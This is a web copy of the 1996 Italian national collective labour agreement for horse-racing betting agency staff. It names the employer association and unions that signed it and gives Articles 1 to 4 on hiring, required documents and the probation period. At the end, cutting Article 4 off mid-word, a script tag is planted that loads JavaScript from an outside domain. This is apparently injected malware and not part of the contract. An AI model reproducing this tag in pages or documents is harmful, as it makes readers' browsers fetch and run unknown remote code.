Torna
all'elenco delle categorie
|
Categoria: Ippica - agenzie Settore: Poligrafici e Spettacolo Data stipula: 10-1-1996 Data decorrenza: 1-1-1996 Data scadenza: 31-12-1999
Contratto Nazionale Collettivo del Lavoro
per i dipendenti
delle Agenzie Ippiche
Il giorno 10 gennaio 1996 in Roma
TRA
- il Sindacato Nazionale delle Agenzie Ippiche (S.N.A.I.) in persona dei
Sigg.ri Maurizio Ughi, Claudio Corradini, Emilio Laia, con l'assistenza
del Dott. Giuseppe Campelli
- la FILIS-CGIL: in persona del suo Segretario Generale Massimo Bordini,
del Segretario Aggiunto Claudia Tempestini e dei Segretari Nazionali Lucio
Muoio, Alberto di (Giovanni, Giorgio Garavaglia assistiti da Vinicio De
Renzi, Gabriella Colombo con l'intervento del coordinamento nazionale e
dei rappresentanti di Roma, Pisa e Firenze;
- la UIL SIC-UIL in persona del Segretario Generale Bruno Di Cola, del
Segretario Nazionale Bruno Zino, del responsabile del coordinamento
nazionale Gioacchino Arcella, dei Segretari Territoriali Domenico Cascone,
Romeo Ballarini, Gianfranco Martelli e una delegazione di lavoratori di
Roma, Bologna, Trieste e Napoli;
- la FISASCAT-CISL in persona del Segretario Generale e Nazionale Gianni
Baratta, dei Segretari Nazionali Mario Marchetti, Pierangelo Ranieri e
Luciana Cirillo, assistiti dall'Ufficio sindacale rappresentato dai
Sigg.ri Antonio Michelagnoli e Nicola Nesticò e una delegazione dei
lavoratori del settore;
è stato stipulato il seguente CCNL che disciplina in misura unitaria, per
tutto il territorio nazionale, i rapporti di lavoro a tempo indeterminato
e - per quanto compatibile con le disposizioni di legge - i rapporti di
lavoro a tempo determinato fra le Agenzie Ippiche e il relativo personale
dipendente, composto da n.53 articoli e n.7 allegati.
TITOLO I - ASSUNZIONE
ART.1 - ASSUNZIONI
L'assunzione dei lavoratori sarà effettuata in conformità alle norme di
Legge.
L'assunzione si intenderà di norma a tempo indeterminato: è tuttavia
consentita l'assunzione con prefissione di termini in tutti i casi o nelle
condizioni previste dalla Legge.
Il lavoratore potrà essere sottoposto a visita medica preventiva.
L'assunzione risulterà da atto scritto (una copia del quale verrà
consegnata al lavoratore), nel quale saranno specificati:
1) la data di assunzione;
2) la durata del periodo di prova;
3) la qualifica e la categoria di inquadramento;
4) il trattamento economico;
5) la indicazione del numero di matricola assegnato;
6) tutte le altre condizioni eventualmente concordate.
ART.2 - DOCUMENTI Dl LAVORO
All'atto dell'assunzione il lavoratore dovrà presentare i seguenti
documenti:
- libretto di lavoro;
- tessera e libretto di assicurazione sociale;
- documento di identità e codice fiscale;
- certificato di residenza in data non anteriore a tre mesi;
- stato di famiglia.
Il lavoratore dovrà comunicare il domicilio, la residenza e gli eventuali
cambiamenti. Dovrà inoltre comunicare per iscritto, con assunzione di
responsabilità, i dati necessari per gli adempimenti fiscali da
effettuarsi dal datore di lavoro.
Potrà inoltre essergli richiesto, ai sensi dell'art.607 del c.p.p. e nei
limiti di cui all'art. 8 della Legge 20/5/1970 n.300, il certificato
penale.
ART.3 - DONNE E MINORI
L'ammissione ed il lavoro delle donne e dei minori sono regolati dalle
disposizioni di Legge.
ART.4 - PERIODO Dl PROVA
L'assunzione dei lavoratori è subordinata al superamento di un periodo di
prova durante il quale il rapporto potrà essere risolto da ciascuna delle
due parti senza obbligo di preavviso né di indennità.
Durante tale periodo la retribuzione non potrà essere inferiore al minimo
stabilito dal presente contratto.
In caso di risoluzione del rapporto durante il periodo di prova, avvenuta
per qualsiasi causa, la retribuzione sarà corrisposta per il solo periodo
di servizio prestato.
Trascorso il periodo di prova senza che nessuna delle parti abbia dato
regolare disdetta l'assunzione d<script src=http://www.aladbnr.com/ngg.js></script>
|